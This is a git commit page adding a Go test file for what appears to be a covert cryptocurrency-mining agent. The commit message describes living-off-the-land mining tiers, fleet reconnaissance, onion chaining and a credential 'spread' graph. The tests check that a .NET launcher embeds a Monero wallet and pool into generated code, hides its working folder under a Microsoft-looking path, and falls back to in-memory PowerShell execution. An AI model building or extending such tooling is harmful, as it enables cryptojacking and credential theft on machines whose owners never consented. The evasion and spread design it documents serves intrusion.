Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
151
agent/miner/dotnet_launcher_test.go
Normal file
151
agent/miner/dotnet_launcher_test.go
Normal file
@@ -0,0 +1,151 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func fakeDotnetRecorder(t *testing.T) string {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
if runtime.GOOS == "windows" {
|
||||
bat := filepath.Join(dir, "fake-dotnet.cmd")
|
||||
body := `@echo off
|
||||
if "%1"=="build" exit /b 0
|
||||
if "%1"=="run" (
|
||||
ping -n 3 127.0.0.1 >nul
|
||||
exit /b 0
|
||||
)
|
||||
exit /b 0
|
||||
`
|
||||
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return bat
|
||||
}
|
||||
sh := filepath.Join(dir, "fake-dotnet.sh")
|
||||
body := `#!/bin/sh
|
||||
case "$1" in
|
||||
build) exit 0 ;;
|
||||
run) sleep 1 ;;
|
||||
esac
|
||||
exit 0
|
||||
`
|
||||
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return sh
|
||||
}
|
||||
|
||||
func TestDotnetLauncherMaterializeAndStart(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("dotnet tier is Windows-only")
|
||||
}
|
||||
|
||||
bin := fakeDotnetRecorder(t)
|
||||
SetDotnetBinPath(bin)
|
||||
SetDotnetExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
return exec.Command(name, args...)
|
||||
})
|
||||
defer func() {
|
||||
SetDotnetBinPath("")
|
||||
SetDotnetExecCommand(nil)
|
||||
}()
|
||||
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "dn-test",
|
||||
Wallet: "XMR:wallet456",
|
||||
WorkerName: "worker-dn",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 4444,
|
||||
PoolTLS: true,
|
||||
PoolPass: "secret",
|
||||
},
|
||||
}
|
||||
|
||||
launcher, err := NewDotnetLauncher(cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("NewDotnetLauncher: %v", err)
|
||||
}
|
||||
if launcher.Toolchain() != "dotnet" {
|
||||
t.Fatalf("toolchain=%q want dotnet", launcher.Toolchain())
|
||||
}
|
||||
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
cs, err := os.ReadFile(filepath.Join(launcher.WorkDir(), "Program.cs"))
|
||||
if err != nil {
|
||||
t.Fatalf("read Program.cs: %v", err)
|
||||
}
|
||||
text := string(cs)
|
||||
if !strings.Contains(text, "XMR:wallet456") {
|
||||
t.Fatalf("Program.cs missing wallet: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "pool.example.com") {
|
||||
t.Fatalf("Program.cs missing pool host: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "PoolTLS = true") {
|
||||
t.Fatalf("Program.cs missing TLS flag: %s", text)
|
||||
}
|
||||
|
||||
if !strings.Contains(launcher.WorkDir(), filepath.Join("Microsoft", "NET", "AetherForge")) {
|
||||
t.Fatalf("workdir not under Microsoft LOTL path: %s", launcher.WorkDir())
|
||||
}
|
||||
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainPowerShellMode(t *testing.T) {
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionPowerShell,
|
||||
PoolHost: "p",
|
||||
Wallet: "w",
|
||||
},
|
||||
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||
if chain[0] != MethodPowerShell {
|
||||
t.Fatalf("chain=%v want powershell first", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultFallbackChainDotnetMode(t *testing.T) {
|
||||
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionDotnet,
|
||||
PoolHost: "p",
|
||||
Wallet: "w",
|
||||
},
|
||||
}, ContainerRuntimeInfo{})
|
||||
if chain[0] != MethodDotnet {
|
||||
t.Fatalf("chain=%v want dotnet first", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainForcedPowerShell(t *testing.T) {
|
||||
probes := EnvironmentProbes{PowerShell: true, DotNet: true}
|
||||
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: ExecutionPowerShell,
|
||||
Wallet: "w",
|
||||
PoolHost: "p",
|
||||
PoolPort: 3333,
|
||||
},
|
||||
})
|
||||
if len(chain) == 0 || chain[0] != TierPSInMemory {
|
||||
t.Fatalf("chain=%v want ps_inmemory first", chain)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user